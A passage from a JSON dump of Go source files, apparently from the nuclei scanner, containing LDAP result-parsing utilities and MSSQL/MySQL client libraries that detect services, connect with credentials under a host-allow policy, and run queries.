res.Entries[0].GetAttributeValues(\"supportedLDAPVersion\")\n\t}\n\n\treturn []string{\"unknown\"}\n}\n\n// close the ldap connection\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// client.Close();\n// ```\nfunc (c *Client) Close() {\n\t_ = c.conn.Close()\n}\n"
  },
  {
    "path": "pkg/js/libs/ldap/utils.go",
    "content": "package ldap\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/go-ldap/ldap/v3\"\n)\n\ntype (\n\t// SearchResult contains search result of any / all ldap search request\n\t// @example\n\t// ```javascript\n\t// const ldap = require('nuclei/ldap');\n\t// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n\t// const results = client.Search('(objectClass=*)', 'cn', 'mail');\n\t// ```\n\tSearchResult struct {\n\t\t// Referrals contains list of referrals\n\t\tReferrals []string `json:\"referrals\"`\n\t\t// Controls contains list of controls\n\t\tControls []string `json:\"controls\"`\n\t\t// Entries contains list of entries\n\t\tEntries []LdapEntry `json:\"entries\"`\n\t}\n\n\t// LdapEntry represents a single LDAP entry\n\tLdapEntry struct {\n\t\t// DN contains distinguished name\n\t\tDN string `json:\"dn\"`\n\t\t// Attributes contains list of attributes\n\t\tAttributes LdapAttributes `json:\"attributes\"`\n\t}\n\n\t// LdapAttributes represents all LDAP attributes of a particular\n\t// ldap entry\n\tLdapAttributes struct {\n\t\t// CurrentTime contains current time\n\t\tCurrentTime []string `json:\"currentTime,omitempty\"`\n\t\t// SubschemaSubentry contains subschema subentry\n\t\tSubschemaSubentry []string `json:\"subschemaSubentry,omitempty\"`\n\t\t// DsServiceName contains ds service name\n\t\tDsServiceName []string `json:\"dsServiceName,omitempty\"`\n\t\t// NamingContexts contains naming contexts\n\t\tNamingContexts []string `json:\"namingContexts,omitempty\"`\n\t\t// DefaultNamingContext contains default naming context\n\t\tDefaultNamingContext []string `json:\"defaultNamingContext,omitempty\"`\n\t\t// SchemaNamingContext contains schema naming context\n\t\tSchemaNamingContext []string `json:\"schemaNamingContext,omitempty\"`\n\t\t// ConfigurationNamingContext contains configuration naming context\n\t\tConfigurationNamingContext []string `json:\"configurationNamingContext,omitempty\"`\n\t\t// RootDomainNamingContext contains root domain naming context\n\t\tRootDomainNamingContext []string `json:\"rootDomainNamingContext,omitempty\"`\n\t\t// SupportedLDAPVersion contains supported LDAP version\n\t\tSupportedLDAPVersion []string `json:\"supportedLDAPVersion,omitempty\"`\n\t\t// HighestCommittedUSN contains highest committed USN\n\t\tHighestCommittedUSN []string `json:\"highestCommittedUSN,omitempty\"`\n\t\t// SupportedSASLMechanisms contains supported SASL mechanisms\n\t\tSupportedSASLMechanisms []string `json:\"supportedSASLMechanisms,omitempty\"`\n\t\t// DnsHostName contains DNS host name\n\t\tDnsHostName []string `json:\"dnsHostName,omitempty\"`\n\t\t// LdapServiceName contains LDAP service name\n\t\tLdapServiceName []string `json:\"ldapServiceName,omitempty\"`\n\t\t// ServerName contains server name\n\t\tServerName []string `json:\"serverName,omitempty\"`\n\t\t// IsSynchronized contains is synchronized\n\t\tIsSynchronized []string `json:\"isSynchronized,omitempty\"`\n\t\t// IsGlobalCatalogReady contains is global catalog ready\n\t\tIsGlobalCatalogReady []string `json:\"isGlobalCatalogReady,omitempty\"`\n\t\t// DomainFunctionality contains domain functionality\n\t\tDomainFunctionality []string `json:\"domainFunctionality,omitempty\"`\n\t\t// ForestFunctionality contains forest functionality\n\t\tForestFunctionality []string `json:\"forestFunctionality,omitempty\"`\n\t\t// DomainControllerFunctionality contains domain controller functionality\n\t\tDomainControllerFunctionality []string `json:\"domainControllerFunctionality,omitempty\"`\n\t\t// DistinguishedName contains the distinguished name\n\t\tDistinguishedName []string `json:\"distinguishedName,omitempty\"`\n\t\t// SAMAccountName contains the SAM account name\n\t\tSAMAccountName []string `json:\"sAMAccountName,omitempty\"`\n\t\t// PWDLastSet contains the password last set time\n\t\tPWDLastSet []string `json:\"pwdLastSet,omitempty\"`\n\t\t// LastLogon contains the last logon time\n\t\tLastLogon []string `json:\"lastLogon,omitempty\"`\n\t\t// MemberOf contains the groups the entry is a member of\n\t\tMemberOf []string `json:\"memberOf,omitempty\"`\n\t\t// ServicePrincipalName contains the service principal names\n\t\tServicePrincipalName []string `json:\"servicePrincipalName,omitempty\"`\n\t\t// Extra contains other extra fields which might be present\n\t\tExtra map[string]any `json:\"extra,omitempty\"`\n\t}\n)\n\n// getSearchResult converts a ldap.SearchResult to a SearchResult\nfunc getSearchResult(sr *ldap.SearchResult) *SearchResult {\n\tt := &SearchResult{\n\t\tReferrals: []string{},\n\t\tControls:  []string{},\n\t\tEntries:   []LdapEntry{},\n\t}\n\t// add referrals\n\tt.Referrals = append(t.Referrals, sr.Referrals...)\n\t// add controls\n\tfor _, ctrl := range sr.Controls {\n\t\tt.Controls = append(t.Controls, ctrl.String())\n\t}\n\t// add entries\n\tfor _, entry := range sr.Entries {\n\t\tt.Entries = append(t.Entries, parseLdapEntry(entry))\n\t}\n\treturn t\n}\n\nfunc parseLdapEntry(entry *ldap.Entry) LdapEntry {\n\te := LdapEntry{\n\t\tDN: entry.DN,\n\t}\n\tattrs := LdapAttributes{\n\t\tExtra: make(map[string]any),\n\t}\n\tfor _, attr := range entry.Attributes {\n\t\tswitch attr.Name {\n\t\tcase \"currentTime\":\n\t\t\tattrs.CurrentTime = decodeTimestamps(attr.Values)\n\t\tcase \"subschemaSubentry\":\n\t\t\tattrs.SubschemaSubentry = attr.Values\n\t\tcase \"dsServiceName\":\n\t\t\tattrs.DsServiceName = attr.Values\n\t\tcase \"namingContexts\":\n\t\t\tattrs.NamingContexts = attr.Values\n\t\tcase \"defaultNamingContext\":\n\t\t\tattrs.DefaultNamingContext = attr.Values\n\t\tcase \"schemaNamingContext\":\n\t\t\tattrs.SchemaNamingContext = attr.Values\n\t\tcase \"configurationNamingContext\":\n\t\t\tattrs.ConfigurationNamingContext = attr.Values\n\t\tcase \"rootDomainNamingContext\":\n\t\t\tattrs.RootDomainNamingContext = attr.Values\n\t\tcase \"supportedLDAPVersion\":\n\t\t\tattrs.SupportedLDAPVersion = attr.Values\n\t\tcase \"highestCommittedUSN\":\n\t\t\tattrs.HighestCommittedUSN = attr.Values\n\t\tcase \"supportedSASLMechanisms\":\n\t\t\tattrs.SupportedSASLMechanisms = attr.Values\n\t\tcase \"dnsHostName\":\n\t\t\tattrs.DnsHostName = attr.Values\n\t\tcase \"ldapServiceName\":\n\t\t\tattrs.LdapServiceName = attr.Values\n\t\tcase \"serverName\":\n\t\t\tattrs.ServerName = attr.Values\n\t\tcase \"isSynchronized\":\n\t\t\tattrs.IsSynchronized = attr.Values\n\t\tcase \"isGlobalCatalogReady\":\n\t\t\tattrs.IsGlobalCatalogReady = attr.Values\n\t\tcase \"domainFunctionality\":\n\t\t\tattrs.DomainFunctionality = attr.Values\n\t\tcase \"forestFunctionality\":\n\t\t\tattrs.ForestFunctionality = attr.Values\n\t\tcase \"domainControllerFunctionality\":\n\t\t\tattrs.DomainControllerFunctionality = attr.Values\n\t\tcase \"distinguishedName\":\n\t\t\tattrs.DistinguishedName = attr.Values\n\t\tcase \"sAMAccountName\":\n\t\t\tattrs.SAMAccountName = attr.Values\n\t\tcase \"pwdLastSet\":\n\t\t\tattrs.PWDLastSet = decodeTimestamps(attr.Values)\n\t\tcase \"lastLogon\":\n\t\t\tattrs.LastLogon = decodeTimestamps(attr.Values)\n\t\tcase \"memberOf\":\n\t\t\tattrs.MemberOf = attr.Values\n\t\tcase \"servicePrincipalName\":\n\t\t\tattrs.ServicePrincipalName = attr.Values\n\t\tdefault:\n\t\t\tattrs.Extra[attr.Name] = attr.Values\n\t\t}\n\t}\n\te.Attributes = attrs\n\treturn e\n}\n\n// decodeTimestamps  decodes multiple timestamps\nfunc decodeTimestamps(timestamps []string) []string {\n\tres := []string{}\n\tfor _, timestamp := range timestamps {\n\t\tres = append(res, DecodeADTimestamp(timestamp))\n\t}\n\treturn res\n}\n\n// DecodeSID decodes a SID string\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const sid = ldap.DecodeSID('S-1-5-21-3623811015-3361044348-30300820-1013');\n// log(sid);\n// ```\nfunc DecodeSID(s string) string {\n\tb := []byte(s)\n\trevisionLvl := int(b[0])\n\tsubAuthorityCount := int(b[1]) & 0xFF\n\n\tvar authority int\n\tfor i := 2; i <= 7; i++ {\n\t\tauthority = authority | int(b[i])<<(8*(5-(i-2)))\n\t}\n\n\tvar size = 4\n\tvar offset = 8\n\tvar subAuthorities []int\n\tfor i := 0; i < subAuthorityCount; i++ {\n\t\tvar subAuthority int\n\t\tfor k := 0; k < size; k++ {\n\t\t\tsubAuthority = subAuthority | (int(b[offset+k])&0xFF)<<(8*k)\n\t\t}\n\t\tsubAuthorities = append(subAuthorities, subAuthority)\n\t\toffset += size\n\t}\n\n\tvar builder strings.Builder\n\tbuilder.WriteString(\"S-\")\n\tfmt.Fprintf(&builder, \"%d-\", revisionLvl)\n\tfmt.Fprintf(&builder, \"%d\", authority)\n\tfor _, v := range subAuthorities {\n\t\tfmt.Fprintf(&builder, \"-%d\", v)\n\t}\n\treturn builder.String()\n}\n\n// DecodeADTimestamp decodes an Active Directory timestamp\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const timestamp = ldap.DecodeADTimestamp('132036744000000000');\n// log(timestamp);\n// ```\nfunc DecodeADTimestamp(timestamp string) string {\n\tadtime, _ := strconv.ParseInt(timestamp, 10, 64)\n\tif (adtime == 9223372036854775807) || (adtime == 0) {\n\t\treturn \"Not Set\"\n\t}\n\tunixtime_int64 := adtime/(10*1000*1000) - 11644473600\n\tunixtime := time.Unix(unixtime_int64, 0)\n\treturn unixtime.Format(\"2006-01-02 3:4:5 pm\")\n}\n\n// DecodeZuluTimestamp decodes a Zulu timestamp\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const timestamp = ldap.DecodeZuluTimestamp('2021-08-25T10:00:00Z');\n// log(timestamp);\n// ```\nfunc DecodeZuluTimestamp(timestamp string) string {\n\tzulu, err := time.Parse(time.RFC3339, timestamp)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn zulu.Format(\"2006-01-02 3:4:5 pm\")\n}\n"
  },
  {
    "path": "pkg/js/libs/mssql/memo.mssql.go",
    "content": "// Warning - This is generated code\npackage mssql\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t_ \"github.com/microsoft/go-mssqldb\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedconnect(executionId string, host string, port int, username string, password string, dbName string) (bool, error) {\n\thash := \"connect\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(username) + \":\" + fmt.Sprint(password) + \":\" + fmt.Sprint(dbName)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn connect(executionId, host, port, username, password, dbName)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedisMssql(executionId string, host string, port int) (bool, error) {\n\thash := \"isMssql\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isMssql(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/mssql/mssql.go",
    "content": "package mssql\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t_ \"github.com/microsoft/go-mssqldb\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/mssql\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// Client is a client for MS SQL database.\n\t// Internally client uses microsoft/go-mssqldb driver.\n\t// @example\n\t// ```javascript\n\t// const mssql = require('nuclei/mssql');\n\t// const client = new mssql.MSSQLClient;\n\t// ```\n\tMSSQLClient struct{}\n)\n\n// Connect connects to MS SQL database using given credentials.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// The connection is closed after the function returns.\n// @example\n// ```javascript\n// const mssql = require('nuclei/mssql');\n// const client = new mssql.MSSQLClient;\n// const connected = client.Connect('acme.com', 1433, 'username', 'password');\n// ```\nfunc (c *MSSQLClient) Connect(ctx context.Context, host string, port int, username, password string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnect(executionId, host, port, username, password, \"master\")\n}\n\n// ConnectWithDB connects to MS SQL database using given credentials and database name.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// The connection is closed after the function returns.\n// @example\n// ```javascript\n// const mssql = require('nuclei/mssql');\n// const client = new mssql.MSSQLClient;\n// const connected = client.ConnectWithDB('acme.com', 1433, 'username', 'password', 'master');\n// ```\nfunc (c *MSSQLClient) ConnectWithDB(ctx context.Context, host string, port int, username, password, dbName string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnect(executionId, host, port, username, password, dbName)\n}\n\n// @memo\nfunc connect(executionId string, host string, port int, username string, password string, dbName string) (bool, error) {\n\tif host == \"\" || port <= 0 {\n\t\treturn false, fmt.Errorf(\"invalid host or port\")\n\t}\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\ttarget := net.JoinHostPort(host, fmt.Sprintf(\"%d\", port))\n\n\tconnString := fmt.Sprintf(\"sqlserver://%s:%s@%s?database=%s&connection+timeout=30\",\n\t\turl.PathEscape(username),\n\t\turl.PathEscape(password),\n\t\ttarget,\n\t\tdbName)\n\n\tdb, err := sql.Open(\"sqlserver\", connString)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\t_, err = db.Exec(\"select 1\")\n\tif err != nil {\n\t\tswitch {\n\t\tcase strings.Contains(err.Error(), \"connect: connection refused\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"no pg_hba.conf entry for host\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"network unreachable\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"reset\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"i/o timeout\"):\n\t\t\treturn false, err\n\t\t}\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n\n// IsMssql checks if the given host is running MS SQL database.\n// If the host is running MS SQL database, it returns true.\n// If the host is not running MS SQL database, it returns false.\n// @example\n// ```javascript\n// const mssql = require('nuclei/mssql');\n// const isMssql = mssql.IsMssql('acme.com', 1433);\n// ```\nfunc (c *MSSQLClient) IsMssql(ctx context.Context, host string, port int) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisMssql(executionId, host, port)\n}\n\n// @memo\nfunc isMssql(executionId string, host string, port int) (bool, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, fmt.Sprintf(\"%d\", port)))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tdata, check, err := mssql.DetectMSSQL(conn, 5*time.Second)\n\tif check && err != nil {\n\t\treturn false, nil\n\t} else if !check && err != nil {\n\t\treturn false, err\n\t}\n\tif data.Version != \"\" {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}\n\n// ExecuteQuery connects to MS SQL database using given credentials and executes a query.\n// It returns the results of the query or an error if something goes wrong.\n// @example\n// ```javascript\n// const mssql = require('nuclei/mssql');\n// const client = new mssql.MSSQLClient;\n// const result = client.ExecuteQuery('acme.com', 1433, 'username', 'password', 'master', 'SELECT @@version');\n// log(to_json(result));\n// ```\nfunc (c *MSSQLClient) ExecuteQuery(ctx context.Context, host string, port int, username, password, dbName, query string) (*utils.SQLResult, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tif host == \"\" || port <= 0 {\n\t\treturn nil, fmt.Errorf(\"invalid host or port\")\n\t}\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\ttarget := net.JoinHostPort(host, fmt.Sprintf(\"%d\", port))\n\n\tok, err := c.IsMssql(ctx, host, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"not a mssql service\")\n\t}\n\n\tconnString := fmt.Sprintf(\"sqlserver://%s:%s@%s?database=%s&connection+timeout=30\",\n\t\turl.PathEscape(username),\n\t\turl.PathEscape(password),\n\t\ttarget,\n\t\tdbName)\n\n\tdb, err := sql.Open(\"sqlserver\", connString)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\tdb.SetMaxOpenConns(1)\n\tdb.SetMaxIdleConns(0)\n\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata, err := utils.UnmarshalSQLRows(rows)\n\tif err != nil {\n\t\tif data != nil && len(data.Rows) > 0 {\n\t\t\treturn data, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/mysql/memo.mysql.go",
    "content": "// Warning - This is generated code\npackage mysql\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisMySQL(executionId string, host string, port int) (bool, error) {\n\thash := \"isMySQL\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isMySQL(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedfingerprintMySQL(executionId string, host string, port int) (MySQLInfo, error) {\n\thash := \"fingerprintMySQL\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn fingerprintMySQL(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn MySQLInfo{}, err\n\t}\n\tif value, ok := v.(MySQLInfo); ok {\n\t\treturn value, nil\n\t}\n\n\treturn MySQLInfo{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/mysql/memo.mysql_private.go",
    "content": "// Warning - This is generated code\npackage mysql\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedconnectWithDSN(executionId string, dsn string) (bool, error) {\n\thash := \"connectWithDSN\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(dsn)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn connectWithDSN(executionId, dsn)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/mysql/mysql.go",
    "content": "package mysql\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/go-sql-driver/mysql\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\tmysqlplugin \"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/mysql\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// MySQLClient is a client for MySQL database.\n\t// Internally client uses go-sql-driver/mysql driver.\n\t// @example\n\t// ```javascript\n\t// const mysql = require('nuclei/mysql');\n\t// const client = new mysql.MySQLClient;\n\t// ```\n\tMySQLClient struct{}\n)\n\n// IsMySQL checks if the given host is running MySQL database.\n// If the host is running MySQL database, it returns true.\n// If the host is not running MySQL database, it returns false.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const isMySQL = mysql.IsMySQL('acme.com', 3306);\n// ```\nfunc (c *MySQLClient) IsMySQL(ctx context.Context, host string, port int) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\t// todo: why this is exposed? Service fingerprint should be automatic\n\treturn memoizedisMySQL(executionId, host, port)\n}\n\n// @memo\nfunc isMySQL(executionId string, host string, port int) (bool, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, fmt.Sprintf(\"%d\", port)))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tplugin := &mysqlplugin.MYSQLPlugin{}\n\tservice, err := plugin.Run(conn, 5*time.Second, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif service == nil {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n\n// Connect connects to MySQL database using given credentials.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// The connection is closed after the function returns.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const client = new mysql.MySQLClient;\n// const connected = client.Connect('acme.com', 3306, 'username', 'password');\n// ```\nfunc (c *MySQLClient) Connect(ctx context.Context, host string, port int, username, password string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\t// executing queries implies the remote mysql service\n\tok, err := c.IsMySQL(ctx, host, port)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"not a mysql service\")\n\t}\n\n\tdsn, err := BuildDSN(MySQLOptions{\n\t\tHost:     host,\n\t\tPort:     port,\n\t\tDbName:   \"INFORMATION_SCHEMA\",\n\t\tProtocol: \"tcp\",\n\t\tUsername: username,\n\t\tPassword: password,\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn connectWithDSN(executionId, dsn)\n}\n\ntype (\n\t// MySQLInfo contains information about MySQL server.\n\t// this is returned when fingerprint is successful\n\tMySQLInfo struct {\n\t\tHost      string               `json:\"host,omitempty\"`\n\t\tIP        string               `json:\"ip\"`\n\t\tPort      int                  `json:\"port\"`\n\t\tProtocol  string               `json:\"protocol\"`\n\t\tTLS       bool                 `json:\"tls\"`\n\t\tTransport string               `json:\"transport\"`\n\t\tVersion   string               `json:\"version,omitempty\"`\n\t\tDebug     plugins.ServiceMySQL `json:\"debug,omitempty\"`\n\t\tRaw       string               `json:\"metadata\"`\n\t}\n)\n\n// returns MySQLInfo when fingerprint is successful\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const info = mysql.FingerprintMySQL('acme.com', 3306);\n// log(to_json(info));\n// ```\nfunc (c *MySQLClient) FingerprintMySQL(ctx context.Context, host string, port int) (MySQLInfo, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedfingerprintMySQL(executionId, host, port)\n}\n\n// @memo\nfunc fingerprintMySQL(executionId string, host string, port int) (MySQLInfo, error) {\n\tinfo := MySQLInfo{}\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn info, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn MySQLInfo{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, fmt.Sprintf(\"%d\", port)))\n\tif err != nil {\n\t\treturn info, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tplugin := &mysqlplugin.MYSQLPlugin{}\n\tservice, err := plugin.Run(conn, 5*time.Second, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn info, err\n\t}\n\tif service == nil {\n\t\treturn info, fmt.Errorf(\"something went wrong got null output\")\n\t}\n\t// fill all fields\n\tinfo.Host = service.Host\n\tinfo.IP = service.IP\n\tinfo.Port = service.Port\n\tinfo.Protocol = service.Protocol\n\tinfo.TLS = service.TLS\n\tinfo.Transport = service.Transport\n\tinfo.Version = service.Version\n\tinfo.Debug = service.Metadata().(plugins.ServiceMySQL)\n\tbin, _ := service.Raw.MarshalJSON()\n\tinfo.Raw = string(bin)\n\treturn info, nil\n}\n\n// ConnectWithDSN connects to MySQL database using given DSN.\n// we override mysql dialer with fastdialer so it respects network policy\n// If connection is successful, it returns true.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const client = new mysql.MySQLClient;\n// const connected = client.ConnectWithDSN('username:password@tcp(acme.com:3306)/');\n// ```\nfunc (c *MySQLClient) ConnectWithDSN(ctx context.Context, dsn string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnectWithDSN(executionId, dsn)\n}\n\n// ExecuteQueryWithOpts connects to Mysql database using given credentials\n// and executes a query on the db.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const options = new mysql.MySQLOptions();\n// options.Host = 'acme.com';\n// options.Port = 3306;\n// const result = mysql.ExecuteQueryWithOpts(options, 'SELECT * FROM users');\n// log(to_json(result));\n// ```\nfunc (c *MySQLClient) ExecuteQueryWithOpts(ctx context.Context, opts MySQLOptions, query string) (*utils.SQLResult, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tif !protocolstate.IsHostAllowed(executionId, opts.Host) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(opts.Host)\n\t}\n\n\t// executing queries implies the remote mysql service\n\tok, err := c.IsMySQL(ctx, opts.Host, opts.Port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"not a mysql service\")\n\t}\n\n\tdsn, err := BuildDSN(opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\tdb.SetMaxOpenConns(1)\n\tdb.SetMaxIdleConns(0)\n\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata, err := utils.UnmarshalSQLRows(rows)\n\tif err != nil {\n\t\tif len(data.Rows) > 0 {\n\t\t\t// allow partial results\n\t\t\treturn data, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}\n\n// ExecuteQuery connects to Mysql database using given credentials\n// and executes a query on the db.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const result = mysql.ExecuteQuery('acme.com', 3306, 'username', 'password', 'SELECT * FROM users');\n// log(to_json(result));\n// ```\nfunc (c *MySQLClient) ExecuteQuery(ctx context.Context, host string, port int, username, password, query string) (*utils.SQLResult, error) {\n\t// executing queries implies the remote mysql service\n\tok, err := c.IsMySQL(ctx, host, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"not a mysql service\")\n\t}\n\n\treturn c.ExecuteQueryWithOpts(ctx, MySQLOptions{\n\t\tHost:     host,\n\t\tPort:     port,\n\t\tProtocol: \"tcp\",\n\t\tUsername: username,\n\t\tPassword: password,\n\t}, query)\n}\n\n// ExecuteQuery connects to Mysql database using given credentials\n// and executes a query on the db.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const result = mysql.ExecuteQueryOnDB('acme.com', 3306, 'username', 'password', 'dbname', 'SELECT * FROM users');\n// log(to_json(result));\n// ```\nfunc (c *MySQLClient) 